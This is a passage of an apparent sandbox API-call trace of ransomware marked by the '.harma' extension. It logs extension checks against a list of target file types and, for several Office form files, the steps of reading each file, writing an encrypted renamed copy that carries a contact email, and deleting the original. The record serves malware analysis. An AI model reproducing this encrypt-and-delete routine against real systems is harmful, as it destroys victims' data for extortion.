lpString2=".exe") returned 1 [0171.464] lstrlenW (lpString=".xlsx") returned 5 [0171.464] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0171.464] lstrlenW (lpString=".ppt") returned 4 [0171.464] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0171.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.465] lstrlenW (lpString=".zip") returned 4 [0171.465] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0171.465] lstrlenW (lpString=".rar") returned 4 [0171.465] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0171.465] lstrlenW (lpString=".bz2") returned 4 [0171.465] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0171.465] lstrlenW (lpString=".7z") returned 3 [0171.465] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0171.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.465] lstrlenW (lpString=".dbf") returned 4 [0171.465] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0171.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.465] lstrlenW (lpString=".1cd") returned 4 [0171.465] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0171.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.465] lstrlenW (lpString=".jpg") returned 4 [0171.465] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0171.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.465] lstrlenW (lpString=".doc") returned 4 [0171.465] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0171.465] lstrlenW (lpString=".docx") returned 5 [0171.465] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0171.465] lstrlenW (lpString=".pdf") returned 4 [0171.465] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0171.465] lstrlenW (lpString=".xls") returned 4 [0171.465] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0171.465] lstrlenW (lpString=".xlsx") returned 5 [0171.465] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0171.466] lstrlenW (lpString=".ppt") returned 4 [0171.466] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0171.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.466] lstrlenW (lpString=".zip") returned 4 [0171.466] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0171.466] lstrlenW (lpString=".rar") returned 4 [0171.466] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0171.466] lstrlenW (lpString=".bz2") returned 4 [0171.466] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0171.466] lstrlenW (lpString=".7z") returned 3 [0171.466] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0171.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.466] lstrlenW (lpString=".dbf") returned 4 [0171.466] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0171.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.466] lstrlenW (lpString=".1cd") returned 4 [0171.466] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0171.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.466] lstrlenW (lpString=".jpg") returned 4 [0171.466] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0171.466] lstrcmpiW (lpString1=".CFG", lpString2=".harma") returned -1 [0171.466] lstrlenW (lpString="ACTIVITY.CFG") returned 12 [0171.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.479] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=968) returned 1 [0171.479] CloseHandle (hObject=0x348) returned 1 [0171.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 0x20 [0171.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.771] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.786] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.787] GetLastError () returned 0x0 [0171.787] ReadFile (in: hFile=0x360, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x3c8, lpOverlapped=0x0) returned 1 [0171.850] WriteFile (in: hFile=0x33c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x3d0, lpOverlapped=0x0) returned 1 [0171.851] ReadFile (in: hFile=0x360, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.851] WriteFile (in: hFile=0x33c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.851] SetEndOfFile (hFile=0x33c) returned 1 [0171.851] CloseHandle (hObject=0x33c) returned 1 [0171.851] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.851] SetEndOfFile (hFile=0x360) returned 1 [0171.863] CloseHandle (hObject=0x360) returned 1 [0171.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 1 [0171.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.865] lstrlenW (lpString=".doc") returned 4 [0171.865] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0171.865] lstrlenW (lpString=".docx") returned 5 [0171.865] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1 [0171.865] lstrlenW (lpString=".pdf") returned 4 [0171.865] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0171.865] lstrlenW (lpString=".xls") returned 4 [0171.865] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0171.865] lstrlenW (lpString=".xlsx") returned 5 [0171.865] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1 [0171.865] lstrlenW (lpString=".ppt") returned 4 [0171.865] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0171.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.865] lstrlenW (lpString=".zip") returned 4 [0171.865] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0171.865] lstrlenW (lpString=".rar") returned 4 [0171.865] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0171.865] lstrlenW (lpString=".bz2") returned 4 [0171.865] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0171.865] lstrlenW (lpString=".7z") returned 3 [0171.865] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0171.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.865] lstrlenW (lpString=".dbf") returned 4 [0171.865] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0171.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.865] lstrlenW (lpString=".1cd") returned 4 [0171.865] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0171.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.866] lstrlenW (lpString=".jpg") returned 4 [0171.866] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0171.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.866] lstrlenW (lpString=".doc") returned 4 [0171.866] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0171.866] lstrlenW (lpString=".docx") returned 5 [0171.866] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1 [0171.866] lstrlenW (lpString=".pdf") returned 4 [0171.866] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0171.866] lstrlenW (lpString=".xls") returned 4 [0171.866] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0171.866] lstrlenW (lpString=".xlsx") returned 5 [0171.866] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1 [0171.866] lstrlenW (lpString=".ppt") returned 4 [0171.866] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0171.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.866] lstrlenW (lpString=".zip") returned 4 [0171.866] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0171.866] lstrlenW (lpString=".rar") returned 4 [0171.866] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0171.866] lstrlenW (lpString=".bz2") returned 4 [0171.866] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0171.866] lstrlenW (lpString=".7z") returned 3 [0171.866] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0171.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.866] lstrlenW (lpString=".dbf") returned 4 [0171.866] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0171.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.866] lstrlenW (lpString=".1cd") returned 4 [0171.867] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0171.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0171.867] lstrlenW (lpString=".jpg") returned 4 [0171.867] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0171.867] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0171.867] lstrlenW (lpString="CONTACTS.ICO") returned 12 [0171.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.868] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2998) returned 1 [0171.868] CloseHandle (hObject=0x360) returned 1 [0171.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 0x20 [0171.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.869] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.869] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.870] GetLastError () returned 0x0 [0171.870] ReadFile (in: hFile=0x360, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0171.875] WriteFile (in: hFile=0x33c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0171.876] ReadFile (in: hFile=0x360, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.876] WriteFile (in: hFile=0x33c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.876] SetEndOfFile (hFile=0x33c) returned 1 [0171.878] CloseHandle (hObject=0x33c) returned 1 [0171.878] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.878] SetEndOfFile (hFile=0x360) returned 1 [0171.880] CloseHandle (hObject=0x360) returned 1 [0171.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 1 [0171.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.881] lstrlenW (lpString=".doc") returned 4 [0171.881] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.881] lstrlenW (lpString=".docx") returned 5 [0171.881] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0171.881] lstrlenW (lpString=".pdf") returned 4 [0171.881] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.881] lstrlenW (lpString=".xls") returned 4 [0171.881] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.881] lstrlenW (lpString=".xlsx") returned 5 [0171.881] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0171.881] lstrlenW (lpString=".ppt") returned 4 [0171.882] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.882] lstrlenW (lpString=".zip") returned 4 [0171.882] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.882] lstrlenW (lpString=".rar") returned 4 [0171.882] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.882] lstrlenW (lpString=".bz2") returned 4 [0171.882] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.882] lstrlenW (lpString=".7z") returned 3 [0171.882] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.882] lstrlenW (lpString=".dbf") returned 4 [0171.882] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.882] lstrlenW (lpString=".1cd") returned 4 [0171.882] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.882] lstrlenW (lpString=".jpg") returned 4 [0171.882] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.882] lstrlenW (lpString=".doc") returned 4 [0171.882] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.882] lstrlenW (lpString=".docx") returned 5 [0171.882] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0171.882] lstrlenW (lpString=".pdf") returned 4 [0171.882] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.882] lstrlenW (lpString=".xls") returned 4 [0171.882] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.882] lstrlenW (lpString=".xlsx") returned 5 [0171.883] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0171.883] lstrlenW (lpString=".ppt") returned 4 [0171.883] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.883] lstrlenW (lpString=".zip") returned 4 [0171.883] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.883] lstrlenW (lpString=".rar") returned 4 [0171.883] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.883] lstrlenW (lpString=".bz2") returned 4 [0171.883] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.883] lstrlenW (lpString=".7z") returned 3 [0171.883] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.883] lstrlenW (lpString=".dbf") returned 4 [0171.883] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.883] lstrlenW (lpString=".1cd") returned 4 [0171.883] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0171.883] lstrlenW (lpString=".jpg") returned 4 [0171.883] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.883] lstrcmpiW (lpString1=".CFG", lpString2=".harma") returned -1 [0171.883] lstrlenW (lpString="DISTLIST.CFG") returned 12 [0171.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.888] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=805) returned 1 [0171.888] CloseHandle (hObject=0x388) returned 1 [0171.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 0x20 [0171.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.888] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.889] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0171.905] GetLastError () returned 0x0 [0171.906] ReadFile (in: hFile=0x388, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x325, lpOverlapped=0x0) returned 1 [0172.610] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x330, lpOverlapped=0x0) returned 1 [0174.296] ReadFile (in: hFile=0x388, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.296] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0174.297] SetEndOfFile (hFile=0x34c) returned 1 [0174.297] CloseHandle (hObject=0x34c) returned 1 [0174.297] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.297] SetEndOfFile (hFile=0x388) returned 1 [0174.299] CloseHandle (hObject=0x388) returned 1 [0174.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 1 [0174.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.301] lstrlenW (lpString=".doc") returned 4 [0174.301] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0174.301] lstrlenW (lpString=".docx") returned 5 [0174.301] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0174.301] lstrlenW (lpString=".pdf") returned 4 [0174.302] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0174.302] lstrlenW (lpString=".xls") returned 4 [0174.302] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0174.302] lstrlenW (lpString=".xlsx") returned 5 [0174.302] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0174.302] lstrlenW (lpString=".ppt") returned 4 [0174.302] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0174.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.302] lstrlenW (lpString=".zip") returned 4 [0174.302] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0174.302] lstrlenW (lpString=".rar") returned 4 [0174.302] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0174.302] lstrlenW (lpString=".bz2") returned 4 [0174.302] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0174.302] lstrlenW (lpString=".7z") returned 3 [0174.302] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0174.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.302] lstrlenW (lpString=".dbf") returned 4 [0174.302] lstrcmpiW (lpString1=".dbf", 